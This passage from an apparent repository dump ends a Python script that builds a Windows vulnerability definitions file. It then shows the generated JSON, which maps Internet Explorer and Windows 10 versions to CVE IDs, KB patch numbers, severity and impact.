RuntimeError(\"Output does not contain a kb_supersedes mapping\")\n\n    sample_product = next(iter(products.values()))\n    if not isinstance(sample_product, list):\n        raise RuntimeError(\"Product entries must be lists\")\n    if sample_product:\n        sample_entry = sample_product[0]\n        required_keys = {\"cve\", \"kb\", \"severity\", \"impact\"}\n        if not required_keys.issubset(sample_entry):\n            raise RuntimeError(\n                f\"Product entries are missing keys. Required {sorted(required_keys)}, got {sorted(sample_entry)}\"\n            )\n\n\ndef main() -> None:\n    args = parse_args()\n    configure_logging(args.verbose)\n\n    output_path = Path(args.output)\n    output_path.parent.mkdir(parents=True, exist_ok=True)\n\n    logging.info(\"Starting windows version definition refresh\")\n    logging.info(\"Output path: %s\", output_path)\n\n    bulletin_entries = load_bulletin_entries(timeout=args.timeout, retries=args.retries)\n    msrc_entries = load_msrc_entries(\n        timeout=args.timeout,\n        retries=args.retries,\n        max_workers=args.msrc_max_workers,\n    )\n    exploit_cves = load_nvd_exploit_ids(\n        start_year=args.nvd_start_year,\n        end_year=args.nvd_end_year,\n        timeout=args.timeout,\n        retries=args.retries,\n    )\n\n    logging.info(\n        \"Building final JSON from %d bulletin entries, %d MSRC entries, and %d exploit-tagged CVEs\",\n        len(bulletin_entries),\n        len(msrc_entries),\n        len(exploit_cves),\n    )\n\n    generated = datetime.now(timezone.utc).strftime(\"%Y%m%d\")\n    data = build_definitions(bulletin_entries + msrc_entries, exploit_cves, generated)\n    validate_output(data)\n\n    output_path.write_text(json.dumps(data, separators=(\",\", \":\")) + \"\\n\", encoding=\"utf-8\")\n\n    total_products = len(data[\"products\"])\n    total_entries = sum(len(items) for items in data[\"products\"].values())\n    total_supersedes = len(data[\"kb_supersedes\"])\n    logging.info(\n        \"Generated %s (date=%s, products=%d, vulnerabilities=%d, supersedence_roots=%d)\",\n        output_path,\n        data[\"generated\"],\n        total_products,\n        total_entries,\n        total_supersedes,\n    )\n\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "build_lists/windows_version_exploits.json",
    "content": "{\"generated\":\"20260315\",\"products\":{\"Internet Explorer 10 on Windows Server 2012\":[{\"cve\":\"CVE-2016-0189\",\"kb\":\"3154070\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3160005\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185319\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0037\",\"kb\":\"4012217\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0059\",\"kb\":\"4012217\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11793\",\"kb\":\"4041690\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11810\",\"kb\":\"4041690\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11855\",\"kb\":\"4048959\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11890\",\"kb\":\"4054520\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11903\",\"kb\":\"4054520\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11906\",\"kb\":\"4054520\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11907\",\"kb\":\"4054520\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8618\",\"kb\":\"4025331\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8635\",\"kb\":\"4034665\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034665\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074593\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088877\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0935\",\"kb\":\"4088877\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103730\",\"severity\":\"Low\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8353\",\"kb\":\"4343901\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8552\",\"kb\":\"4467701\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8619\",\"kb\":\"4471330\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471330\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471330\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480975\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0752\",\"kb\":\"4493451\",\"severity\":\"Low\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1429\",\"kb\":\"4525246\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4537814\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 Version 1511 for 32-bit Systems\":[{\"cve\":\"CVE-2016-0189\",\"kb\":\"3156421\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3163018\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185614\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3198586\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0037\",\"kb\":\"4013198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0059\",\"kb\":\"4013198\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11793\",\"kb\":\"4041689\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11810\",\"kb\":\"4041689\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11855\",\"kb\":\"4048952\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11890\",\"kb\":\"4053578\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11903\",\"kb\":\"4053578\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11906\",\"kb\":\"4053578\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11907\",\"kb\":\"4053578\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8618\",\"kb\":\"4025344\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8625\",\"kb\":\"4034660\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-8635\",\"kb\":\"4034660\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034660\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074591\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088779\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0935\",\"kb\":\"4088779\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 Version 1511 for x64-based Systems\":[{\"cve\":\"CVE-2016-0189\",\"kb\":\"3156421\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3163018\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185614\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3198586\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0037\",\"kb\":\"4013198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0059\",\"kb\":\"4013198\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11793\",\"kb\":\"4041689\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11810\",\"kb\":\"4041689\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11855\",\"kb\":\"4048952\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11890\",\"kb\":\"4053578\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11903\",\"kb\":\"4053578\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11906\",\"kb\":\"4053578\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11907\",\"kb\":\"4053578\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8618\",\"kb\":\"4025344\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8625\",\"kb\":\"4034660\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-8635\",\"kb\":\"4034660\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034660\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074591\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088779\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0935\",\"kb\":\"4088779\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 Version 1607 for 32-bit Systems\":[{\"cve\":\"CVE-2016-3351\",\"kb\":\"3189866\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3200970\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0037\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0059\",\"kb\":\"4013429\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11793\",\"kb\":\"4041691\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11810\",\"kb\":\"4041691\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11855\",\"kb\":\"4048953\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11890\",\"kb\":\"4053579\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11903\",\"kb\":\"4053579\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11906\",\"kb\":\"4053579\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11907\",\"kb\":\"4053579\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8618\",\"kb\":\"4025339\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8625\",\"kb\":\"4034658\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-8635\",\"kb\":\"4034658\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034658\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074590\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0935\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103723\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4338814\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4338814\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8353\",\"kb\":\"4343887\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343887\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8552\",\"kb\":\"4467691\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8619\",\"kb\":\"4471321\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471321\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471321\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0752\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1429\",\"kb\":\"4525236\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4537764\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003197\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 Version 1607 for x64-based Systems\":[{\"cve\":\"CVE-2016-3351\",\"kb\":\"3189866\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3200970\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0037\",\"kb\":\"4013429\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0059\",\"kb\":\"4013429\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11793\",\"kb\":\"4041691\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11810\",\"kb\":\"4041691\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11855\",\"kb\":\"4048953\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11890\",\"kb\":\"4053579\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11903\",\"kb\":\"4053579\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11906\",\"kb\":\"4053579\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11907\",\"kb\":\"4053579\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8618\",\"kb\":\"4025339\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8625\",\"kb\":\"4034658\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-8635\",\"kb\":\"4034658\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034658\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074590\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0935\",\"kb\":\"4088787\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103723\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4338814\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4338814\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8353\",\"kb\":\"4343887\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343887\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8552\",\"kb\":\"4467691\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8619\",\"kb\":\"4471321\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471321\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471321\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480961\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0752\",\"kb\":\"4493470\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1429\",\"kb\":\"4525236\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4537764\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-26419\",\"kb\":\"5003197\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 Version 1703 for 32-bit Systems\":[{\"cve\":\"CVE-2017-11793\",\"kb\":\"4041676\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11810\",\"kb\":\"4041676\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11855\",\"kb\":\"4048954\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11890\",\"kb\":\"4053580\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11903\",\"kb\":\"4053580\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11906\",\"kb\":\"4053580\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11907\",\"kb\":\"4053580\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8618\",\"kb\":\"4025342\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8635\",\"kb\":\"4034674\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034674\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074592\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0935\",\"kb\":\"4088782\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103731\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4338826\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4338826\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8353\",\"kb\":\"4343885\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343885\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8552\",\"kb\":\"4467696\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8619\",\"kb\":\"4471327\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471327\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471327\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480973\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0752\",\"kb\":\"4493474\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 Version 1703 for x64-based Systems\":[{\"cve\":\"CVE-2017-11793\",\"kb\":\"4041676\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11810\",\"kb\":\"4041676\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11855\",\"kb\":\"4048954\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11890\",\"kb\":\"4053580\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11903\",\"kb\":\"4053580\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11906\",\"kb\":\"4053580\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11907\",\"kb\":\"4053580\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8618\",\"kb\":\"4025342\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8635\",\"kb\":\"4034674\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8636\",\"kb\":\"4034674\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074592\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088782\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0935\",\"kb\":\"4088782\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103731\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4338826\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4338826\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8353\",\"kb\":\"4343885\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343885\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8552\",\"kb\":\"4467696\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8619\",\"kb\":\"4471327\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471327\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471327\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480973\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0752\",\"kb\":\"4493474\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 Version 1709 for 32-bit Systems\":[{\"cve\":\"CVE-2017-11855\",\"kb\":\"4048955\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11890\",\"kb\":\"4054517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11903\",\"kb\":\"4054517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11906\",\"kb\":\"4054517\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11907\",\"kb\":\"4054517\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0840\",\"kb\":\"4074588\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0891\",\"kb\":\"4088776\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0935\",\"kb\":\"4088776\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8145\",\"kb\":\"4103727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8288\",\"kb\":\"4338825\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8291\",\"kb\":\"4338825\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8353\",\"kb\":\"4343897\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8355\",\"kb\":\"4343897\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8552\",\"kb\":\"4467686\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8619\",\"kb\":\"4471329\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471329\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471329\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0752\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1429\",\"kb\":\"4525241\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4537789\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 Version 1709 for ARM64-based Systems\":[{\"cve\":\"CVE-2018-8552\",\"kb\":\"4467686\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8625\",\"kb\":\"4471329\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8631\",\"kb\":\"4471329\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0541\",\"kb\":\"4480978\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-0752\",\"kb\":\"4493441\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2019-1429\",\"kb\":\"4525241\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2020-0674\",\"kb\":\"4537789\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Internet Explorer 11 on Windows 10 Version 1709 for x64-based Systems\":[{\"cve\":\"CVE-2017-11855\",\"kb\":\"4048955\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-11890\",\"kb\":\"4054517\",\"severity\":\"Critical\",\"impact\":\"Remote Code 